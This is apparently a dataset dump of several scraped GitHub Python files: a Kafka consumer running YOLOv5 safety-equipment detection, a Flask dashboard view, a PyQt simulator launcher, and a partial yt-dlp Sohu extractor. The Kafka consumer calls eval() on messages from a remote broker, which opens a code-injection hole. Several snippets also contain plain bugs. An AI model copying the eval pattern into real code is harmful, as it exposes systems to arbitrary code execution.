else:\n print(\"Request failed with status code %d\" % status_code)\n print(\"Retry in 5 seconds...\")\n time.sleep(5) # 连接失败后间隔5s尝试重连\n\n img = np.asarray(bytearray(res.read()), dtype=\"uint8\")\n img = cv2.imdecode(img, cv2.IMREAD_COLOR)\n return img\n\n\ndef socket_transmit(data):\n '''\n 向服务器返回数据(Socket)\n :param data\n :return:\n '''\n HOST = 'localhost' # or 127.0.0.1\n PORT = 2856\n BUFSIZ = 1024\n retry = 10 # 重试次数\n interval = 5 # 重试间隔(s)\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as c:\n for i in range(retry):\n try:\n c.connect((HOST, PORT))\n c.send(data.encode())\n recv_data = c.recv(BUFSIZ)\n print(\n f'Transmission completed.\\nReceived data: {recv_data.decode()}'\n )\n break\n except TimeoutError as e:\n print(f'Socket error: {e}')\n except InterruptedError as e:\n print(f'Socket error: {e}')\n time.sleep(interval)\n if recv_data is None:\n raise TimeoutError('Transmission timed out.')\n return\n\n\ndef http_post(data):\n '''\n 发送HTTP Post\n :param data: 待发送数据\n :return: None\n '''\n # url = \"https://resttest.concoai.com//docking/identifyEventImage\"\n url = \"https://resttest.concoai.com/inDoorServer/identify/\"\n # headers = {\"token\": \"test\"}\n try:\n response = requests.post(url, json=data)\n response.raise_for_status()\n\n except Exception as e:\n print(e)\n status_code = response.status_code\n print('Status Code: {0}'.format(status_code))\n print('Response Text: {0}'.format(response.text))\n\n\ndef assign_tasks(url, task, result_dict):\n '''\n 为接收到的图片分配并执行多种任务.\n :param url: 待测图片链接\n :param task: 任务编号\n :param result_dict: 结果字典\n :return: (dict) result_dict\n '''\n img_name = url.split('/')[-1]\n img_save_path = '/home/dl/Downloads/Kafka/img_temp/' + img_name # 2023.06.10 mxy\n lock = threading.Lock()\n t1 = time.time()\n if task == \"14\":\n # 2023.06.10 mxy\n # test_img = read_img_from_url(url)\n # cv2.imwrite(img_save_path, test_img)\n ####################################\n # 消防设备(灭火器)检测\n with torch.inference_mode():\n result, points, conf_list = run(\n weights=\"/home/dl/Downloads/Kafka/yolov5_62/yolov5s_extinguisher_0612_openvino_model/yolov5s_extinguisher_0612.xml\",\n source=url,\n imgsz=(640, 640),\n conf_thres=0.8,\n device='cpu',\n nosave=True,\n classes=0)\n result_dict[\"result\"] = str(result)\n result_dict[\"points\"] = str(points)\n file = url.split('/')[-1]\n file_path = os.path.join(os.getcwd(), file)\n # print(file_path)\n if os.path.exists(file_path):\n with lock:\n os.remove(file_path) # 检测后将缓存的图片删除\n elif task == \"15\":\n # 门窗检测\n template_path = \"/home/dl/Downloads/Kafka/template/temp1.jpg\" # 模板路径\n template = cv2.imread(template_path) # 模板图像\n test_img = read_img_from_url(url)\n if test_img is None:\n raise Exception(f\"No image read from {url}.\")\n print(\"Image received.\")\n threshold = 3 # pHash阈值\n pHash_distance = p_hash_similarity(template, test_img)\n # print('Image: {}\\t pHash Similarity: {}'.format(tmp_path, pHash_distance))\n if pHash_distance <= threshold:\n result = \"True\"\n else:\n result = \"False\"\n result_dict[\"result\"] = result\n result_dict[\"points\"] = str([])\n cv2.imwrite(img_save_path, test_img)\n elif task == \"16\":\n # 灭火器箱检查\n image = read_img_from_url(url)\n if image is None:\n raise Exception(f\"No image read from {url}.\")\n print(\"Image received.\")\n # cv2.imwrite(img_save_path, image)\n # result = check_exbox.check_integrity(image) # 06.14 ybh 老版本灭火器箱检查代码\n ############################\n with torch.inference_mode():\n result, points, conf_list = run(\n weights=\"/home/dl/Downloads/Kafka/yolov5_62/0615_box_openvino_model/0615_box.xml\",\n source=url,\n imgsz=(640, 640),\n conf_thres=0.7,\n device='cpu',\n nosave=True,\n classes=0\n )\n if result: # 检出灭火器箱\n result_list = []\n for point in points:\n roi = image[int(point[1]):int(point[3]), int(point[0]):int(point[2])]\n flag = check_exbox.check_integrity2(roi)\n result_list.append(str(flag))\n result_dict[\"result\"] = str(result_list)\n result_dict[\"points\"] = str(points)\n else:\n result_list = [\"False\"] * len(points)\n result_dict[\"result\"] = str(result_list)\n result_dict[\"points\"] = str([])\n file = url.split('/')[-1]\n file_path = os.path.join(os.getcwd(), file)\n # print(file_path)\n if os.path.exists(file_path):\n with lock:\n os.remove(file_path) # 检测后将缓存的图片删除\n ############################\n elif task == \"17\":\n # 安全出口标志检查\n image = read_img_from_url(url)\n # if image is None:\n # raise Exception(f\"No image read from {url}.\")\n # print(\"Image received.\")\n # cv2.imwrite(img_save_path, image)\n # result = check_exit_sign.check_integrity(image) # 06.13 ybh 老版本指示牌检查代码\n ############################\n with torch.inference_mode():\n result, points, conf_list = run(\n weights=\"/home/dl/Downloads/Kafka/yolov5_62/0616_exit_openvino_model/0616_exit.xml\",\n source=url,\n imgsz=(640, 640),\n conf_thres=0.7,\n device='cpu',\n nosave=True,\n classes=0\n )\n if result: # 检出指示牌\n result_list = []\n for point in points:\n roi = image[int(point[1]):int(point[3]), int(point[0]):int(point[2])]\n flag = check_exit_sign.check_integrity3(image, roi, area_thres=(0.05, 0.1), aspect_thres=(0.2, 0.5))\n result_list.append(str(flag))\n result_dict[\"result\"] = str(result_list)\n result_dict[\"points\"] = str(points)\n else:\n result_list = [\"False\"] * len(points)\n result_dict[\"result\"] = str(result_list)\n result_dict[\"points\"] = str([])\n file = url.split('/')[-1]\n file_path = os.path.join(os.getcwd(), file)\n # print(file_path)\n if os.path.exists(file_path):\n with lock:\n os.remove(file_path) # 检测后将缓存的图片删除\n ############################\n t2 = time.time()\n print(f\"Task {task} running time: {t2 - t1}s.\")\n print(result_dict)\n return result_dict\n\n\nclass MultiThreadsKafka(object):\n # 消费者端多线程Kafka\n def __init__(self, max_workers=2):\n self.consumer = KafkaConsumer(bootstrap_servers='139.159.179.226:9092')\n # self.consumer = KafkaConsumer(bootstrap_servers=['139.159.179.226:9092'], group_id='test_id')\n topic = 'test'\n partition = list(self.consumer.partitions_for_topic(topic=topic))[0]\n print('partition: ', partition)\n self.tp = TopicPartition(topic=topic, partition=partition) # (topic, partition)\n self.consumer.assign([self.tp])\n self.max_workers = max_workers\n start_offset = self.consumer.beginning_offsets([self.tp])[self.tp]\n end_offset = self.consumer.end_offsets([self.tp])[self.tp]\n print('earliest offset: ', start_offset)\n print('latest offset: ', end_offset)\n self.seek = end_offset # 默认获取最新offset\n self.consumer.seek(self.tp, self.seek)\n #####################################################################\n '''\n # self.consumer.seek_to_beginning(self.tp)\n for i in range(100):\n msg = next(self.consumer)\n print(msg)\n print(msg.value)\n '''\n\n def operate(self):\n '''\n 每条线程执行的操作\n :return: None\n '''\n lock = threading.Lock()\n with open('/home/dl/Downloads/Kafka/1.txt', 'a', encoding='utf-8') as f: # 2023.06.10 mxy\n with lock:\n # self.consumer.seek(self.tp, self.seek - 1) # 2023.06.08 mxy # 2023.06.12 ybh\n # self.seek += 1\n msg = next(self.consumer)\n msg_value: dict = eval(msg.value.decode(\"utf-8\")) # 这里把核心数据提取出来\n url = msg_value[\"url\"] # 图片url\n task = msg_value[\"identify\"] # 任务编号\n thread_name = threading.current_thread().name # 线程名\n print(\"Thread: %s\\n [%s:%d:%d]: key=%s value=%s\" %\n (thread_name, msg.topic, msg.partition, msg.offset, msg.key,\n msg.value))\n\n # 分任务处理\n result_dict = msg_value\n print(f\"Assigning task {task}...\")\n result_dict = assign_tasks(url, task, result_dict)\n f.write(json.dumps(result_dict, ensure_ascii=False)) # 2023.06.10 mxy\n f.write('\\n')\n # print(result_dict)\n f.close() # 2023.06.10 mxy\n # print(\"Sending http post...\")\n # http_post(result_dict)\n return\n\n def main(self):\n # thread_pool = ThreadPoolExecutor(max_workers=self.max_workers)\n while True: # 无限循环,读取数据\n thread_pool = ThreadPoolExecutor(max_workers=self.max_workers)\n # thread_mission_list = []\n for i in range(self.max_workers):\n thread = thread_pool.submit(self.operate)\n thread_pool.shutdown(wait=True) # 2023.06.09 mxy\n # thread_mission_list.append(thread)\n # for mission in as_completed(\n # thread_mission_list): # 这里会等待线程执行完毕,先完成的会先显示出来\n # yield mission.result()\n\n\nif __name__ == '__main__':\n # Main Process\n thread_kafka = MultiThreadsKafka(max_workers=12)\n thread_kafka.main()\n\n # kafka_data_generator = thread_kafka.main() # 迭代器\n # for result in kafka_data_generator:\n # print(result)\n\n # task 14\n # img_path = \"/home/dl/Downloads/Kafka/test_img/extinguisher.png\"\n # result_dict = {}\n # task = \"14\"\n # result_dict = assign_tasks(img_path, task, result_dict)\n # print(result_dict)\n\n # task 15\n # img_path = \"/home/dl/Downloads/Kafka/1/12.jpg\"\n # result_dict = {}\n # task = \"15\"\n # result_dict = assign_tasks(img_path, task, result_dict)\n # print(result_dict)\n\n # task 16\n # img_path = \"/home/dl/Downloads/Kafka/0608/0608 (6).jpeg\"\n # img_path = \"/home/dl/Downloads/Kafka/0614_exbox/1.png\"\n # url = \"http://file.test.concoai.com/image/438bc4d80a8c81982b39174f86d822b9.jpeg\"\n # url = \"http://file.test.concoai.com/image/d877bae604e988e2cf0b8821fe238c92.jpeg\"\n # url = \"http://file.test.concoai.com/image/22bb422bff7876c7ff17a522a37249c5.jpeg\"\n # url = \"http://file.test.concoai.com/image/1f43846bfb90323b789198f287c9f293.jpeg\"\n # result_dict = {}\n # task = \"16\"\n # result_dict = assign_tasks(url, task, result_dict)\n # print(result_dict)\n\n\n # task 17\n # # img_path = \"/home/dl/Downloads/Kafka/exit_sign_robot/1.jpeg\"\n # url = \"http://file.test.concoai.com/image/7891820a518684d8cfd39a4a58438a43.jpeg\"\n # # url = \"http://file.test.concoai.com/image/e06006089d87799d7e921094766307a0.jpeg\n # url = 'http://file.test.concoai.com/image/0ee9ba5f768eeca719acc10884a7cb67.jpeg'\n # result_dict = {}\n # task = \"17\"\n # result_dict = assign_tasks(url, task, result_dict)\n # print(result_dict)\n","repo_name":"TSY845/Multi-threads-Kafka","sub_path":"consumer_multi_threads.py","file_name":"consumer_multi_threads.py","file_ext":"py","file_size_in_byte":13152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21314410727","text":"import settings\n\nfrom flask import (Blueprint, request,\n Flask,\n abort,\n request,\n jsonify,\n render_template,\n)\napp = Blueprint('example',__name__)\n\n@app.route('/chartit', methods=['GET'])\ndef chartit():\n\n # modules=[\n # # {'name': 'chart', 'type': 'line', 'family': 'C3', 'width': 'col-3', 'height': 400, 'dataSource': 'http://127.0.0.1:8080/api/timeseriesc3', 'override': False, 'order': 3, 'refresh': True, 'refreshInterval': 5000, 'classes': [], 'row': 1, 'guid': 'f74a7ab3-2289-a705-0de3-d6e8e390134a', 'cachedData': None},\n # # {'name': 'bar', 'type': 'bar', 'family': 'C3', 'width': 'col-4', 'height': 400, 'dataSource': 'http://127.0.0.1:8080/api/timeseriesc3', 'override': False, 'order': 2, 'refresh': False, 'refreshInterval': None, 'classes': [], 'row': 1, 'guid': '735f6525-221e-d1da-9e5a-571af513650a', 'cachedData': None},\n # # {'name': '生产主页xc', 'type': 'flamegraph', 'family': 'FlameGraph', 'width': 'col-3', 'height': 400, 'dataSource': 'http://127.0.0.1:8080/api/flamegraph', 'override': False, 'order': 1, 'refresh': True, 'refreshInterval': 50000, 'classes': [], 'row': 1, 'guid': 'fbe2869d-f040-dfb3-147d-f0dc536a72bc', 'cachedData': None},\n # {'name': '词云图', 'type': 'wordcloud', 'family': 'WordCloud', 'width': 'col-2', 'height': 400, 'dataSource': 'http://127.0.0.1:8080/api/wordcloud', 'override': False, 'order': 0, 'refresh': True, 'refreshInterval': None, 'classes': [], 'row': 1, 'guid': 'ec876e3f-a04e-8f80-1845-710f12d3d17e'}\n # ]\n modules=[\n {\n \"name\": \"柱状图\",\n \"type\": \"bar\",\n \"family\": \"C3\",\n \"width\": \"col-4\",\n \"height\": 400,\n \"dataSource\": \"/api/timeseriesc3\",\n \"override\": False,\n \"order\": 1,\n \"refresh\": True,\n \"refreshInterval\": 5000,\n \"classes\": [],\n \"guid\": \"07b37e5c-28b7-2f79-1d1f-b4999ac91643\"\n },\n {\n \"name\": \"词云图\",\n \"type\": \"wordcloud\",\n \"family\": \"WordCloud\",\n \"width\": \"col-4\",\n \"height\": 400,\n \"dataSource\": \"/api/wordcloud\",\n \"override\": False,\n \"order\": 0,\n \"refresh\": True,\n \"refreshInterval\": 6000,\n \"classes\": [],\n \"guid\": \"33d0293a-b798-909d-8207-0e65808bf225\"\n }\n ]\n viewjson={\n \"name\": \"这是一个动态仪表板\",\n \"slogan\": \"可以自由创建你所需要的视图组合\",\n \"modules\": modules,\n \"date\": \"2022-03-31 16:17:20.235000\",\n \"id\": \"91279fca-b0bc-11ec-b16c-005056c00008\",\n \"layout\": \"grid\",\n \"created_by\": \"anonymous\",\n \"username\": \"anonymous\"\n }\n\n\n\n if 'modules' not in viewjson:\n flash('Invalid configuration - missing modules.', 'error')\n return redirect(url_for('jsondash.dashboard'))\n active_charts = [v.get('family') for v in viewjson['modules']\n if v.get('family') is not None]\n can_edit = True\n layout_type = viewjson.get('layout', 'freeform')\n kwargs = dict(\n id=23,\n view=viewjson,\n num_rows=( None ),\n modules=viewjson['modules'],\n assets=settings.get_active_assets(active_charts),\n can_edit=can_edit,\n can_edit_global=1,\n is_global=1,\n )\n \n return render_template('render/charts.html', **kwargs)\n","repo_name":"zazaji/flask_jdash","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42721605578","text":"import pathlib\nimport sys\n\nfrom PyQt5.QtWidgets import QApplication, QPushButton, QGroupBox, QDialog, QVBoxLayout, QGridLayout\nfrom PyQt5.QtWidgets import QLabel, QLineEdit,QFileDialog,QSplitter,QLayout,QFrame\n#from PyQt5.QtCore import pyqtSlot\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nimport json\nfrom pathlib import Path\nimport subprocess\n\nclass QHLine(QFrame):\n def __init__(self):\n super(QHLine, self).__init__()\n self.setFrameShape(QFrame.HLine)\n self.setFrameShadow(QFrame.Sunken)\n\nclass QVLine(QFrame):\n def __init__(self):\n super(QVLine, self).__init__()\n self.setFrameShape(QFrame.VLine)\n self.setFrameShadow(QFrame.Sunken)\n\nclass App(QDialog):\n def __init__(self):\n super().__init__()\n self.title = 'Sim Loader'\n self.left = 10\n self.top = 10\n self.width = 640\n self.height = 200\n self.vipu_ps=None\n self.twsdb_ps=None\n self.spm_ps=None\n self.home = str(Path.home())\n self.config_path = Path.cwd() / \"path_config.json\"\n self.initUI()\n if not Path.exists(self.config_path):\n print(\"Cannot find config.json file\")\n assert False\n self._populate_paths()\n\n def initUI(self):\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.create_layout_and_connections()\n windowLayout = QVBoxLayout()\n windowLayout.addWidget(self.verticalGroupBox)\n self.setLayout(windowLayout)\n self.show()\n\n def create_layout_and_connections(self):\n self.verticalGroupBox = QGroupBox()\n layout = QGridLayout()\n self.text = QLabel(self)\n self.text.setText(\"VIPU Sim\")\n layout.addWidget(self.text, 0, 0)\n self.line_edit_vipu = QLineEdit(self)\n layout.addWidget(self.line_edit_vipu, 0, 1)\n self.push_button_vipu = QPushButton('Select ')\n layout.addWidget(self.push_button_vipu, 0, 2)\n self.push_button_vipu.clicked.connect(self.onClick)\n\n self.text2 = QLabel(self)\n self.text2.setText(\"TWSDB Sim\")\n layout.addWidget(self.text2, 1, 0)\n self.line_edit_twsdb =QLineEdit(self)\n layout.addWidget(self.line_edit_twsdb, 1, 1)\n self.push_button_twsdb = QPushButton('Select ')\n layout.addWidget(self.push_button_twsdb, 1, 2)\n self.push_button_twsdb.clicked.connect(lambda: self.onClick(name=\"TWSDB\"))\n\n self.text3 = QLabel(self)\n self.text3.setText(\"SPM Sim\")\n layout.addWidget(self.text3, 2, 0)\n self.line_edit_spm = QLineEdit(self)\n layout.addWidget(self.line_edit_spm, 2, 1)\n self.push_button_spm = QPushButton('Select ')\n layout.addWidget(self.push_button_spm, 2, 2)\n self.push_button_spm.clicked.connect(lambda: self.onClick(name=\"SPM\"))\n\n #layout.addWidget(QHLine(),3,0,1,4)\n #layout.addWidget(QVLine(),3,0,2,1)\n\n #load and close buttons\n\n self.text_load = QLabel(self)\n self.button_load = QPushButton(\"Start Sims\")\n self.button_load.clicked.connect(self.on_start_sims)\n #note the last 2 number dont seem to do much. Attempt made to increase size of button\n layout.addWidget(self.button_load,4,1,1,1)\n\n self.button_close = QPushButton(\"Close Sims\")\n self.button_close.clicked.connect(self.on_close_sims)\n layout.addWidget(self.button_close, 5, 1,1,1)\n\n #layout.addWidget(QHLine(),5,0,1,4)\n\n #status\n self.status = QLabel(self)\n self.status.setText(\"Status:\")\n self.status_text = QLabel(self)\n self.status_text.setText(\"Nothing Running\")\n layout.addWidget(self.status,6,0)\n layout.addWidget(self.status_text,6,1)\n\n #layout.addWidget(QHLine(), 7, 0, 1, 4)\n\n self.verticalGroupBox.setLayout(layout)\n\n @pyqtSlot()\n def on_start_sims(self):\n print(\"Start Sims clicked\")\n if not self._check_all_paths_set():\n print(\"not all Sim paths are set!\")\n return\n print(\"Strting VIPU Sim\")\n pd = Path(self.line_edit_vipu.text()).cwd()\n self.vipu_ps = self._load_sim(self.line_edit_vipu.text(),cwd=str(pd))\n print(\"Starting SPM Sim\")\n pd = Path(self.line_edit_spm.text()).cwd()\n self.spm_ps = self._load_sim(self.line_edit_spm.text(),cwd=str(pd))\n if self.line_edit_twsdb:\n print(\"Starting TWSDB Sim\")\n pd = Path(self.line_edit_twsdb.text()).cwd()\n self.twsdb_ps = self._load_sim(self.line_edit_twsdb.text(),pd)\n self.status_text.setText(\"Sims Running\")\n\n\n def on_close_sims(self):\n print(\"Closing sims\")\n print(\"closing VIPU sim\")\n self._close_sim(name=\"vipu\")\n print(\"Closing SPM sim\")\n self._close_sim(name=\"spm\")\n print(\"Closing TWSDB Sim\")\n self._close_sim(name=\"twsdb\")\n self.status_text.setText(\"Nothing Running\")\n\n\n def _populate_paths(self):\n p = Path(self.config_path)\n with p.open(\"r\") as f:\n cm = json.load(f)\n if cm[\"vipu\"]:\n self.line_edit_vipu.setText(cm[\"vipu\"])\n if cm[\"twsdb\"]:\n self.line_edit_twsdb.setText(cm[\"twsdb\"])\n if cm[\"spm\"]:\n self.line_edit_spm.setText(cm[\"spm\"])\n\n def _update_config_file(self,name=\"vipu\",value=\"\"):\n p = Path(self.config_path)\n with p.open(\"r\") as f:\n cm = json.load(f)\n if name.lower() not in cm:\n print(name.lower() + \" is not in the config map\")\n return\n with p.open(\"w\") as f:\n cm[name.lower()] = value\n json.dump(cm,f)\n\n '''\n TWSDB not essential\n '''\n def _check_all_paths_set(self):\n if not self.line_edit_spm.text():\n print(\"SPM sim is not set\")\n return False\n if not self.line_edit_vipu.text():\n print(\"VIPU sim is not set\")\n return False\n if not self.line_edit_twsdb.text():\n print(\"TWSDB sim is not set\")\n return True\n\n @pyqtSlot()\n def onClick(self,name=\"VIPU\"):\n fname = QFileDialog.getOpenFileName(self, 'Open file', self.home)\n if fname[0]:\n print(fname[0])\n if name==\"VIPU\":\n self.line_edit_vipu.setText(fname[0])\n elif name==\"TWSDB\":\n self.line_edit_twsdb.setText(fname[0])\n elif \"SPM\":\n self.line_edit_spm.setText(fname[0])\n else:\n print(\"Name not recognised!!\")\n self._update_config_file(name.lower(),fname[0])\n\n '''\n Ensure all sims are exe. if its a python script, then use \n pyinstaller to convert the python to an exe.\n Reason, if its a python script, then would need to locate\n the path of the venv to guarantee the python script works ok\n with all its deps. Convert to exe avoids the hassle of that\n '''\n def _load_sim(self,name,*args,cwd=Path.cwd()):\n run_args=[name,*args]\n print(\"Run args:\" + str(run_args))\n try:\n p = subprocess.Popen(run_args,cwd=cwd)\n except Exception as ex:\n print(\"Exception loading sim: \" + name + \" : \" + str(ex))\n raise Exception\n else:\n return p\n\n def _close_sim(self,name=\"vipu\"):\n if name == \"vipu\" and self.vipu_ps:\n ps = self.vipu_ps\n elif name == \"spm\" and self.spm_ps:\n ps = self.spm_ps\n elif name == \"twsdb\" and self.twsdb_ps:\n ps = self.twsdb_ps\n else:\n print(\"Can't kill since process is not active\")\n ps=None\n try:\n if ps:\n ps.kill()\n ps.communicate()\n print(\"Closed \" + name)\n except Exception as ex:\n print(\"Problem kill process \" + name + \" : \" + str(ex))\n\n def closeEvent(self, event):\n '''\n Handles closing sims if window is closed\n :param event:\n :return:\n '''\n print(\"Closing window\")\n print(\"Closing sims\")\n print(\"closing VIPU sim\")\n self._close_sim(name=\"vipu\")\n print(\"Closing SPM sim\")\n self._close_sim(name=\"spm\")\n print(\"Closing TWSDB Sim\")\n self._close_sim(name=\"twsdb\")\n\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = App()\n sys.exit(app.exec_())","repo_name":"cavapoo2/python","sub_path":"sim_loader.py","file_name":"sim_loader.py","file_ext":"py","file_size_in_byte":8474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37600633752","text":"import base64\nimport re\n\nfrom .common import InfoExtractor\nfrom ..compat import (\n compat_str,\n compat_urllib_parse_urlencode,\n)\nfrom ..utils import (\n ExtractorError,\n int_or_none,\n float_or_none,\n url_or_none,\n unified_timestamp,\n try_get,\n urljoin,\n traverse_obj,\n)\n\n\nclass SohuIE(InfoExtractor):\n _VALID_URL = r'https?://(?Pmy\\.)?tv\\.sohu\\.com/.+?/(?(mytv)|n)(?P\\d+)\\.shtml.*?'\n\n # Sohu videos give different MD5 sums on Travis CI and my machine\n _TESTS = [{\n 'note': 'This video is available only in Mainland China',\n 'url': 'http://tv.sohu.com/20130724/n382479172.shtml#super',\n 'info_dict': {\n 'id': '382479172',\n 'ext': 'mp4',\n 'title': 'MV:Far East Movement《The Illest》',\n },\n 'skip': 'On available in China',\n }, {\n 'url': 'http://tv.sohu.com/20150305/n409385080.shtml',\n 'info_dict': {\n 'id': '409385080',\n 'ext': 'mp4',\n 'title': '《2015湖南卫视羊年元宵晚会》唐嫣《花好月圆》',\n },\n 'skip': 'no longer available',\n }, {\n 'url': 'http://my.tv.sohu.com/us/232799889/78693464.shtml',\n 'info_dict': {\n 'id': '78693464',\n 'ext': 'mp4',\n 'title': '【爱范品】第31期:MWC见不到的奇葩手机',\n 'uploader': '爱范儿视频',\n 'duration': 213,\n 'timestamp': 1425519600,\n 'upload_date': '20150305',\n 'thumbnail': 'http://e3f49eaa46b57.cdn.sohucs.com//group1/M10/83/FA/MTAuMTAuODguODA=/6_14cbccdde5eg104SysCutcloud_78693464_7_0b.jpg',\n 'tags': ['爱范儿', '爱范品', 'MWC', '手机'],\n }\n }, {\n 'note': 'Multipart video',\n 'url': 'http://my.tv.sohu.com/pl/8384802/78910339.shtml',\n 'info_dict': {\n 'id': '78910339',\n 'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',\n 'uploader': '小苍cany',\n 'duration': 744.0,\n 'timestamp': 1426269360,\n 'upload_date': '20150313',\n 'thumbnail': 'http://e3f49eaa46b57.cdn.sohucs.com//group1/M11/89/57/MTAuMTAuODguODA=/6_14cea022a1dg102SysCutcloud_78910339_8_0b.jpg',\n 'tags': ['小苍MM', '英雄联盟', '实战秘籍'],\n },\n 'playlist': [{\n 'info_dict': {\n 'id': '78910339_part1',\n 'ext': 'mp4',\n 'duration': 294,\n 'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',\n }\n }, {\n 'info_dict': {\n 'id': '78910339_part2',\n 'ext': 'mp4',\n 'duration': 300,\n 'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',\n }\n }, {\n 'info_dict': {\n 'id': '78910339_part3',\n 'ext': 'mp4',\n 'duration': 150,\n 'title': '【神探苍实战秘籍】第13期 战争之影 赫卡里姆',\n }\n }]\n }, {\n 'note': 'Video with title containing dash',\n 'url': 'http://my.tv.sohu.com/us/249884221/78932792.shtml',\n 'info_dict': {\n 'id': '78932792',\n 'ext': 'mp4',\n 'title': 'youtube-dl testing video',\n 'duration': 360,\n 'timestamp': 1426348620,\n 'upload_date': '20150314',\n 'thumbnail': 'http://e3f49eaa46b57.cdn.sohucs.com//group1/M02/8A/00/MTAuMTAuODguNzk=/6_14cee1be192g102SysCutcloud_78932792_7_7b.jpg',\n 'tags': [],\n },\n 'params': {\n 'skip_download': True\n }\n }]\n\n def _real_extract(self, url):\n\n def _fetch_data(vid_id, mytv=False):\n if mytv:\n base_data_url = 'http://my.tv.sohu.com/play/videonew.do?vid='\n else:\n base_data_url = 'http://hot.vrs.sohu.com/vrs_flash.action?vid='\n\n return self._download_json(\n base_data_url + vid_id, video_id,\n 'Downloading JSON data for %s' % vid_id,\n headers=self.geo_verification_headers())\n\n mobj = self._match_valid_url(url)\n video_id = mobj.group('id')\n mytv = mobj.group('mytv') is not None\n\n webpage = self._download_webpage(url, video_id)\n\n title = re.sub(r'( - 高清正版在线观看)? - 搜狐视频$', '', self._og_search_title(webpage))\n\n vid = self._html_search_regex(\n r'var vid ?= ?[\"\\'](\\d+)[\"\\']',\n webpage, 'video path')\n vid_data = _fetch_data(vid, mytv)\n if vid_data['play'] != 1:\n if vid_data.get('status') == 12:\n raise ExtractorError(\n '%s said: There\\'s something wrong in the video.' % self.IE_NAME,\n expected=True)\n else:\n self.raise_geo_restricted(\n '%s said: The video is only licensed to users in Mainland China.' % self.IE_NAME)\n\n formats_json = {}\n for format_id in ('nor', 'high', 'super', 'ori', 'h2644k', 'h2654k'):\n vid_id = vid_data['data'].get('%sVid' % format_id)\n if not vid_id:\n continue\n vid_id = compat_str(vid_id)\n formats_json[format_id] = vid_data if vid == vid_id else _fetch_data(vid_id, mytv)\n\n part_count = vid_data['data']['totalBlocks']\n\n playlist = []\n for i in range(part_count):\n formats = []\n for format_id, format_data in formats_json.items():\n allot = format_data['allot']\n\n data = format_data['data']\n clip_url = traverse_obj(data, (('clipsURL', 'mp4PlayUrl'), i, {url_or_none}), get_all=False)\n if not clip_url:\n raise ExtractorError(f'Unable to extract url for clip {i}')\n su = data['su']\n\n video_url = 'newflv.sohu.ccgslb.net'\n cdnId = None\n retries = 0\n\n while 'newflv.sohu.ccgslb.net' in video_url:\n params = {\n 'prot': 9,\n 'file': clip_url,\n 'new': su[i],\n 'prod': 'h5n',\n 'rb': 1,\n }\n\n if cdnId is not None:\n params['idc'] = cdnId\n\n download_note = 'Downloading %s video URL part %d of %d' % (\n format_id, i + 1, part_count)\n\n if retries > 0:\n download_note += ' (retry #%d)' % retries\n part_info = self._parse_json(self._download_webpage(\n 'http://%s/?%s' % (allot, compat_urllib_parse_urlencode(params)),\n video_id, download_note), video_id)\n\n video_url = part_info['url']\n cdnId = part_info.get('nid')\n\n retries += 1\n if retries > 5:\n raise ExtractorError('Failed to get video URL')\n\n formats.append({\n 'url': video_url,\n 'format_id': format_id,\n 'filesize': int_or_none(\n try_get(data, lambda x: x['clipsBytes'][i])),\n 'width': int_or_none(data.get('width')),\n 'height': int_or_none(data.get('height')),\n 'fps': int_or_none(data.get('fps')),\n })\n\n playlist.append({\n 'id': '%s_part%d' % (video_id, i + 1),\n 'title': title,\n 'duration': vid_data['data']['clipsDuration'][i],\n 'formats': formats,\n })\n\n if len(playlist) == 1:\n info = playlist[0]\n info['id'] = video_id\n else:\n info = {\n '_type': 'multi_video',\n 'entries': playlist,\n 'id': video_id,\n 'title': title,\n 'duration': traverse_obj(vid_data, ('data', 'totalDuration', {float_or_none})),\n }\n\n if mytv:\n publish_time = unified_timestamp(self._search_regex(\n r'publishTime:\\s*[\"\\'](\\d+-\\d+-\\d+ \\d+:\\d+)[\"\\']', webpage, 'publish time', fatal=False))\n else:\n publish_time = traverse_obj(vid_data, ('tv_application_time', {unified_timestamp}))\n\n return {\n 'timestamp': publish_time - 8 * 3600 if publish_time else None,\n **traverse_obj(vid_data, {\n 'alt_title': ('data', 'subName', {str}),\n 'uploader': ('wm_data', 'wm_username', {str}),\n 'thumbnail': ('data', 'coverImg', {url_or_none}),\n 'tags': ('data', 'tag', {str.split}),\n }),\n **info,\n }\n\n\nclass SohuVIE(InfoExtractor):\n _VALID_URL = r'https?://tv\\.sohu\\.com/v/(?P[\\w=-]+)\\.html(?:$|[#?])'\n\n _TESTS = [{\n 'note': 'Multipart video',\n 'url': 'https://tv.sohu.com/v/MjAyMzA2MTQvbjYwMTMxNTE5Mi5zaHRtbA==.html',\n 'info_dict': {\n 'id': '601315192',\n 'title': '《淬火丹心》第1集',\n 'alt_title': '“点天灯”发生事故',\n 'duration': 2701.692,\n 'timestamp': 1686758040,\n 'upload_date': '20230614',\n 'thumbnail': 'http://photocdn.tv.sohu.com/img/20230614/vrsa_hor_1686738763256_454010551.jpg',\n },\n 'playlist_mincount': 9,\n 'skip': 'Only available in China',\n }, {\n 'url': 'https://tv.sohu.com/v/dXMvMjMyNzk5ODg5Lzc4NjkzNDY0LnNodG1s.html',\n 'info_dict': {\n 'id': '78693464',\n 'ext': 'mp4',\n 'title': '【爱范品】第31期:MWC见不到的奇葩手机',\n 'uploader': '爱范儿视频',\n 'duration': 213,\n 'timestamp': 1425519600,\n 'upload_date': '20150305',\n 'thumbnail': 'http://e3f49eaa46b57.cdn.sohucs.com//group1/M10/83/FA/MTAuMTAuODguODA=/6_14cbccdde5eg104SysCutcloud_78693464_7_0b.jpg',\n 'tags': ['爱范儿', '爱范品', 'MWC', '手机'],\n }\n }, {\n 'note': 'Multipart video',\n 'url': 'https://tv.sohu.com/v/dXMvMjQyNTYyMTYzLzc4OTEwMzM5LnNodG1s.html?src=pl',\n 'info_dict': {\n 'id': '78910339',\n 'title': '【神探苍实战秘籍】第13期 战争之影 